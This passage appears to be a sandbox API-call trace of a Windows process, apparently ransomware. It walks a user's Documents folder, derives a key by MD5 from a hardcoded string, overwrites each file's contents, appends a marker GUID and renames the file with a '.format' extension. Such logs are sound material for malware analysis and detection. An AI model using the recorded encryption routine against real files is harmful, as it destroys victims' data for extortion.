[0067.151] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.151] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.151] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.151] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.152] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.152] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.152] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.152] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.152] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.152] GetLastError () returned 0x0 [0067.152] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.152] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.152] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.152] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x116a0) returned 0x32b2f40 [0067.153] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.153] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x1169d, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x1169d, lpOverlapped=0x0) returned 1 [0067.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.153] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x116a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.153] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.153] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.153] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.153] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.153] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.153] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.153] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.154] CloseHandle (hObject=0x5c8) returned 1 [0067.154] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.154] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.154] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0067.155] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1dRMBdJ8JilqvY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1drmbdj8jilqvy.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1dRMBdJ8JilqvY.pptx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1drmbdj8jilqvy.pptx.format")) returned 1 [0067.155] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.155] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.156] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.156] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x164c3aa0, ftCreationTime.dwHighDateTime=0x1d512b6, ftLastAccessTime.dwLowDateTime=0xe2f9b720, ftLastAccessTime.dwHighDateTime=0x1d4c0a5, ftLastWriteTime.dwLowDateTime=0xe2f9b720, ftLastWriteTime.dwHighDateTime=0x1d4c0a5, nFileSizeHigh=0x0, nFileSizeLow=0x17629, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2toarBW5rlEiNoO5.xlsx", cAlternateFileName="2TOARB~1.XLS")) returned 1 [0067.156] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.156] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.156] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.156] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2toarBW5rlEiNoO5.xlsx") returned=".xlsx" [0067.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2toarBW5rlEiNoO5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2toarbw5rleinoo5.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.156] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=95785) returned 1 [0067.156] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.159] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17603, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.159] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.159] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.159] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.159] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.160] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x17629, lpOverlapped=0x0) returned 1 [0067.160] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.160] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.160] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.160] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.160] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.161] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.161] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.161] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.161] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.161] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.161] GetLastError () returned 0x0 [0067.161] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.161] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.161] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.161] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x17630) returned 0x32b2f40 [0067.162] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.162] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x17624, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x17624, lpOverlapped=0x0) returned 1 [0067.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.162] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17629, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.162] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.162] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.162] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.162] CloseHandle (hObject=0x5c8) returned 1 [0067.163] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.164] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.164] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0067.164] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2toarBW5rlEiNoO5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2toarbw5rleinoo5.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2toarBW5rlEiNoO5.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2toarbw5rleinoo5.xlsx.format")) returned 1 [0067.164] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.164] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.165] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.165] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5957ea60, ftCreationTime.dwHighDateTime=0x1d50564, ftLastAccessTime.dwLowDateTime=0xaea5f270, ftLastAccessTime.dwHighDateTime=0x1d53947, ftLastWriteTime.dwLowDateTime=0xaea5f270, ftLastWriteTime.dwHighDateTime=0x1d53947, nFileSizeHigh=0x0, nFileSizeLow=0x652c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5eg1.docx", cAlternateFileName="5EG1~1.DOC")) returned 1 [0067.165] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.165] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.165] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.165] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eg1.docx") returned=".docx" [0067.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eg1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5eg1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.165] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25900) returned 1 [0067.166] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.168] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6506, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.168] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.168] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.168] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.169] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.169] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x652c, lpOverlapped=0x0) returned 1 [0067.169] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.169] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.169] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.169] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.169] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.170] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.170] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.170] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.170] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.170] GetLastError () returned 0x0 [0067.170] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.170] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6530) returned 0x32b2f40 [0067.170] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.170] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x6527, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x6527, lpOverlapped=0x0) returned 1 [0067.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.170] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x652c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.170] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.171] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.171] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.171] CloseHandle (hObject=0x5c8) returned 1 [0067.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175580 [0067.171] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175580 | out: hHeap=0x5d0000) returned 1 [0067.172] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eg1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5eg1.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eg1.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5eg1.docx.format")) returned 1 [0067.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.172] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.173] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aeb50, ftCreationTime.dwHighDateTime=0x1d541e6, ftLastAccessTime.dwLowDateTime=0x5682ab00, ftLastAccessTime.dwHighDateTime=0x1d4dd3b, ftLastWriteTime.dwLowDateTime=0x5682ab00, ftLastWriteTime.dwHighDateTime=0x1d4dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x8f9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9oBPh66lU7Zt.pptx", cAlternateFileName="9OBPH6~1.PPT")) returned 1 [0067.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.173] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.173] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9oBPh66lU7Zt.pptx") returned=".pptx" [0067.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9oBPh66lU7Zt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9obph66lu7zt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.173] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=36763) returned 1 [0067.173] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.176] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8f75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.176] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.176] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.176] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8f9b, lpOverlapped=0x0) returned 1 [0067.177] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.177] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.177] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.177] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.177] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.177] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.177] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.177] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.177] GetLastError () returned 0x0 [0067.177] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.178] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8fa0) returned 0x32b2f40 [0067.178] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.178] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x8f96, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x8f96, lpOverlapped=0x0) returned 1 [0067.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.178] SetFilePointerEx (in: 